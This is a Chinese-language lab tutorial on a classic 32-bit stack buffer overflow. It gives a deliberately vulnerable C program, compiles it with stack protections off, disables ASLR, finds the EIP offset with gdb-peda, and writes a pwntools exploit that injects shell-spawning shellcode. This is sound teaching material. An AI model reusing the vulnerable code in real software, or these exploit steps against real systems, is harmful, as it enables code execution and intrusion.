实验的缓冲区溢出源码:
// 1.c #include<stdio.h> void func() { char name[0x50];//0x100大小的栈空间 read(0, name, 0x100);//输入0x200大小的数据 write(1, name, 0x100); } int main() { func(); return 0; }
x86下无任何防护机制编译:
gcc -m32 1.c -o 1 -O0 -fno-stack-protector -z execstack -z norelro -no-pie
m32:生成32bit程序需要gcc-multilib(x86机器上编译不用加)
O0:不进行任何优化
fno-stack-protector:不开启canary栈溢出检测
z execstack:开启栈可执行关闭NX
-no-pie:不开启pie保护
出现问题:fatal error: bits/libc-header-start.h: No such file or directory
原因:64位机子编译c语言32出现
解决办法:安装32位的c语言编译环境
apt-get install gcc-multilib
编译完成后进行实验前还需要关闭ASLR
判断ASLR是否打开
cat /proc/sys/kernel/randomize_va_space
#ldd x #另一种判断方式 x是程序名,运行两次,如果两次libc的基址一样也说明了主机没有开启ASLR
ALRS:
ASLR是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。
在linux中使用此技术后,杀死某程序后重新开启,地址换。
在windows中使用此技术后,杀死进程后重新开启,地址不换,重启才会改变。
以上cat命令输出的值表示:
0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址,stack和vdso页面随机化。
2 - 表示在1的基础上增加栈(heap)的随机化。
关闭ASLR,切换至root用户,输入命令
echo 0 > /proc/sys/kernel/randomize_va_space
首先寻找多少字节能溢出切刚好能够覆盖return addr。我们使用gdb-peda提供的pattern_create和pattern_offset。pattern_create是生成一个字符串模板输入后根据EIP来确定覆盖return addr的长度。
gdb-peda$ pattern_create 200 ‘AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA‘
然后让程序跑起来输入这串字符串后程序崩溃
使用pattern_offset获取偏移地址
Stopped reason: SIGSEGV 0x41416741 in ?? () gdb-peda$ pattern_offset 0x41416741 1094805313 found at offset: 92
接下来在栈中部署一段shellcode然后让return addr的内容为shellcode的地址
先查找eip地址
这里bbbb是eip的位置cccc是shellcode的位置然后运行这个python后程序崩溃我们调试core dump(gdb -c core)文件找cccc的地址填到eip的位置即可。
from pwn import * io = process("./1") payload = ‘a‘ * 92 payload += ‘bbbb‘ # eip payload += ‘cccc‘ # shellcode io.send(payload)
运行python程序后崩溃我们得到core文件,调试core dump(gdb -c core)文件找eip的地址
个人理解:x/wx 命令是验证地址是不是eip。esp是栈顶指针,因为进入了call,ip最后入栈的,所以此时esp中存放着的是eip
x /4xg $ebp
:查看ebp开始的4个8字节内容(b:单字节,h:双字节,w:四字节,g:八字节;x:十六进制,s:字符串输出,i:反汇编,c:单字符)
得到eip的地址我们可以写exp了
from pwn import * context(log_level = ‘debug‘, arch = ‘i386‘, os = ‘linux‘)#arch取决于file查看文件的arch,不是看系统,如果64位就只用amd64 io = process("./2") payload = ‘a‘ * 92 payload += p32(0xffffd140) payload += asm(shellcraft.sh()) raw_input() io.send(payload) io.interactive()
运行exp:
参考:https://www.anquanke.com/post/id/85138
原文:https://www.cnblogs.com/luocodes/p/13901471.html